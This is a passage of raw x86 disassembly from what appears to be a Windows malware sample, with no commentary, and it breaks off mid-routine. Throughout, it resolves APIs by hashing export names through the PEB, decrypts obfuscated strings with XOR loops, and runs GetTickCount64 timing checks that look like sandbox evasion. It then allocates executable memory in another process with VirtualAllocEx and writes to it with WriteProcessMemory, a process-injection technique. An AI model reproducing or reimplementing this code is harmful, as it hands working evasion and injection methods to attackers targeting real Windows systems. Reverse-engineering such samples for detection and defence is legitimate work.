mov ax, word [0x4b0820]
mov word [ebp - 0x128], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xa4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa8], ecx
cmp ecx, esi
je 0x436873
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x436873
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xb4], ecx
dec edi
mov esi, 0xf4c3b1a6
mov cl, byte [edx]
inc edx
test cl, cl
je 0x436866
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x436845
cmp esi, 0x7a43fda7
je 0x43687a
mov ecx, dword [ebp - 0xb4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x436826
mov eax, dword [eax]
jmp 0x4367f3
mov esi, dword [ebp - 0xa8]
mov edx, dword [ebp - 0xa4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x9c], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x9c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x9c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x12c], cl
inc edx
mov dword [ebp - 0x9c], edx
cmp edx, 6
jl 0x4368a3
lea eax, [ebp - 0x12c]
jmp 0x43a282
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
mov dword [ebp - 0xa0], eax
nop word [eax + eax]
movq xmm0, qword [str.E_JJTRN__]
xor edx, edx
mov cl, byte [0x4b0880]
movq qword [ebp - 0x184], xmm0
mov byte [ebp - 0x17c], cl
mov dword [ebp - 0xac], edx
nop dword [eax]
nop dword [eax + eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0xac]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0xac]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x184], cl
inc edx
mov dword [ebp - 0xac], edx
cmp edx, 9
jl 0x436930
push 0
lea eax, [ebp - 0x1c]
mov ecx, esi
push eax
push 4
lea eax, [ebp - 0x184]
push eax
call fcn.004427f0
mov byte [esi + 8], al
cmp dword [ebp - 0x1c], 1
je 0x43714a
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xac], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa4], ecx
cmp ecx, esi
je 0x436a20
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x436a20
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xb4], ecx
dec edi
mov esi, 0xc251b078
mov cl, byte [edx]
inc edx
test cl, cl
je 0x436a13
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4369f2
cmp esi, 0x2eff65ab
je 0x436a27
mov ecx, dword [ebp - 0xb4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4369d3
mov eax, dword [eax]
jmp 0x4369a0
mov eax, dword [ebp - 0xa4]
mov edx, dword [ebp - 0xac]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
sub eax, dword [ebp - 0xa0]
sbb edx, 0
mov dword [ebp - 0xb4], edx
jne 0x436a76
mov esi, dword [ebp - 0x94]
cmp eax, 0x4e20
jbe 0x436900
movups xmm0, xmmword [0x4b0b44]
xor edx, edx
cmp dword [0x5067b8], 2
mov dword [ebp - 0x9c], edx
movups xmmword [ebp - 0x464], xmm0
movups xmm0, xmmword [0x4b0b54]
movups xmmword [ebp - 0x454], xmm0
movq xmm0, qword [0x4b0b64]
movq qword [ebp - 0x444], xmm0
jl 0x436be4
movaps xmm0, xmmword [0x4b0e50]
lea eax, [edx + 4]
movaps xmm3, xmmword [0x4b0ed0]
movaps xmm4, xmmword [0x4b0d40]
movaps xmm5, xmmword [0x4b0c70]
movaps xmm6, xmmword [0x4b0c90]
movaps xmmword [ebp - 0xc0], xmm0
mov ecx, dword [ebp - 0xc0]
nop word [eax + eax]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x468]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + eax - 0x468], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x464]
xorps xmm2, xmm0
movd dword [ebp + eax - 0x464], xmm2
add eax, 8
cmp eax, 0x2c
jl 0x436af0
mov dword [ebp - 0x9c], edx
cmp edx, 0x28
jge 0x436c1b
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x9c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x464], cl
inc edx
mov dword [ebp - 0x9c], edx
cmp edx, 0x28
jl 0x436be4
lea eax, [ebp - 0x464]
push eax
lea ecx, [ebp - 0x524]
call fcn.0040d390
lea ecx, [ebp - 0x524]
mov byte [ebp - 4], 7
call fcn.00430690
lea ecx, [ebp - 0x524]
mov byte [ebp - 4], 0
call fcn.00402420
cmp dword [ebp - 0xd4], 0
je 0x43a288
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x98], 0xbeb4fde
mov dword [ebp - 0x94], 0x8e76290
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x220], ecx
mov dword [ebp - 0x21c], edx
mov dword [ebp - 0x98], 0xf7dd99ec
mov dword [ebp - 0x94], 0x8f2ccc34
mov ecx, dword [ebp - 0x98]
push eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x218], ecx
mov dword [ebp - 0x98], 0xe7abafa
mov dword [ebp - 0x94], 0xb5eaa59b
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x20c], ecx
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x204], ecx
mov dword [ebp - 0x98], 0x2bb66e85
mov dword [ebp - 0x94], 0x679510d5
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x98beb99e
mov dword [ebp - 0x94], 0xaf16a950
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xcc], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x470dedf
mov dword [ebp - 0x94], 0xb5eaa59b
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xc4], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
movaps xmm1, xmmword [ebp - 0x220]
xorps xmm1, xmmword [ebp - 0xd0]
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x220]
mov dword [ebp - 0xb4], ecx
movaps xmmword [ebp - 0x220], xmm1
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x210]
push eax
movaps xmmword [ebp - 0x210], xmm1
call fcn.0042cb50
mov eax, dword fs:[0x30]
add esp, 8
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x436e84
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x436e84
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0xb4de638c
mov cl, byte [edx]
inc edx
test cl, cl
je 0x436e77
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x436e56
cmp esi, 0x450d1018
je 0x436e8b
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x436e37
mov eax, dword [eax]
jmp 0x436e04
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 1
push dword [ebp - 0xd4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x436f42
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x436f42
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x58190a84
mov cl, byte [edx]
inc edx
test cl, cl
je 0x436f35
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x436f14
cmp esi, 0x29c2e8ce
je 0x436f49
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x436ef5
mov eax, dword [eax]
jmp 0x436ec2
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push dword [ebp - 0xd4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x437000
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x437000
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x5c68daac
mov cl, byte [edx]
inc edx
test cl, cl
je 0x436ff3
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x436fd2
cmp esi, 0x3d3ddd0f
je 0x437007
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x436fb3
mov eax, dword [eax]
jmp 0x436f80
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 0x3e8
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [str.GYLI_]
mov dword [ebp - 0x134], eax
mov ax, word [0x4b0820]
mov word [ebp - 0x130], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x4370d3
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4370d3
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x80dfeca4
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4370c6
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4370a5
cmp esi, 0xa8519c3d
je 0x4370da
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x437086
mov eax, dword [eax]
jmp 0x437053
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x9c], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x9c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x9c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x134], cl
inc edx
mov dword [ebp - 0x9c], edx
cmp edx, 6
jl 0x437103
lea eax, [ebp - 0x134]
jmp 0x43a282
movq xmm0, qword [str.E_JJTRN__]
xor edx, edx
mov al, byte [0x4b0880]
movq qword [ebp - 0x190], xmm0
mov byte [ebp - 0x188], al
mov dword [ebp - 0xac], edx
nop dword [eax]
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0xac]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0xac]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x190], cl
inc edx
mov dword [ebp - 0xac], edx
cmp edx, 9
jl 0x437170
push 0
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
push eax
push 4
lea eax, [ebp - 0x190]
mov ecx, esi
push eax
call fcn.004428a0
mov edi, dword [ebp - 0x9c]
push 0x40
push 0x3000
mov byte [esi + 8], al
push dword [edi + 0x50]
mov esi, dword [ebp - 0xd4]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xac], eax
test eax, eax
jne 0x4377ba
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x437290
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x437290
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x263171ad
mov cl, byte [edx]
inc edx
test cl, cl
je 0x437283
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x437262
cmp esi, 0xe76f9981
je 0x437297
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x437243
mov eax, dword [eax]
jmp 0x437210
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 1
push dword [ebp - 0xd4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x437350
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x437350
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x191bd45
mov cl, byte [edx]
inc edx
test cl, cl
je 0x437343
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x437322
cmp esi, 0xf37e56f2
je 0x437357
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x437303
mov eax, dword [eax]
jmp 0x4372d0
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0xd8]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x437413
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x437413
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0xc9e2f1f1
mov cl, byte [edx]
inc edx
test cl, cl
je 0x437406
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4373e5
cmp esi, 0x562453d1
je 0x43741a
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4373c6
mov eax, dword [eax]
jmp 0x437393
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push dword [ebp - 0xd4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x98], 0xbeb4fde
mov dword [ebp - 0x94], 0x8e76290
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x240], ecx
mov dword [ebp - 0x23c], edx
mov dword [ebp - 0x98], 0xf7dd99ec
mov dword [ebp - 0x94], 0x8f2ccc34
mov ecx, dword [ebp - 0x98]
push eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x234], eax
mov dword [ebp - 0x238], ecx
mov dword [ebp - 0x98], 0xe7abafa
mov dword [ebp - 0x94], 0xb5eaa59b
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], ecx
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x98], 0x2bb66e85
mov dword [ebp - 0x94], 0x679510d5
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x98beb99e
mov dword [ebp - 0x94], 0xaf16a950
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xcc], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x98], 0x470dedf
mov dword [ebp - 0x94], 0xb5eaa59b
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xc4], ecx
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x98], 0x7f0c4430
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x94], 0x165cf366
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
movaps xmm1, xmmword [ebp - 0xd0]
xorps xmm1, xmmword [ebp - 0x240]
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x240]
mov dword [ebp - 0xb4], ecx
movaps xmmword [ebp - 0x240], xmm1
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x230]
push eax
movaps xmmword [ebp - 0x230], xmm1
call fcn.0042cb50
mov eax, dword fs:[0x30]
add esp, 8
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x437670
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x437670
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x46904ef0
mov cl, byte [edx]
inc edx
test cl, cl
je 0x437663
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x437642
cmp esi, 0xd35707e3
je 0x437677
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x437623
mov eax, dword [eax]
jmp 0x4375f0
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 0x3e8
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword [str.GYLI_]
mov dword [ebp - 0x13c], eax
mov ax, word [0x4b0820]
mov word [ebp - 0x138], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x437743
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x437743
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0xc018a2b2
mov cl, byte [edx]
inc edx
test cl, cl
je 0x437736
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x437715
cmp esi, 0x132549db
je 0x43774a
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4376f6
mov eax, dword [eax]
jmp 0x4376c3
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor edx, edx
mov dword [ebp - 0x9c], edx
mov eax, 0x3521cfb3
mul edx
mov eax, dword [ebp - 0x9c]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x9c]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x13c], cl
inc edx
mov dword [ebp - 0x9c], edx
cmp edx, 6
jl 0x437773
lea eax, [ebp - 0x13c]
jmp 0x43a282
push 0
push dword [edi + 0x54]
push dword [ebp - 0xd8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x437e5a
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x437861
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x437861
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x17578fe2
mov cl, byte [edx]
inc edx
test cl, cl
je 0x437854
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x437833
cmp esi, 0x50235f2a
je 0x437868
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x437814
mov eax, dword [eax]
jmp 0x4377e1
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 1
push dword [ebp - 0xd4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x437920
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x437920
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x94], ecx
dec edi
mov esi, 0x9eb6db9f
mov cl, byte [edx]
inc edx
test cl, cl
je 0x437913
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4378f2
cmp esi, 0x40ee25a5
je 0x437927
mov ecx, dword [ebp - 0x94]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4378d3
mov eax, dword [eax]
jmp 0x4378a0
mov esi, dword [ebp - 0xa0]
mov edx, dword [ebp - 0xb4]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0xac]
push dword [ebp - 0xd4]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xb4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x4379f0
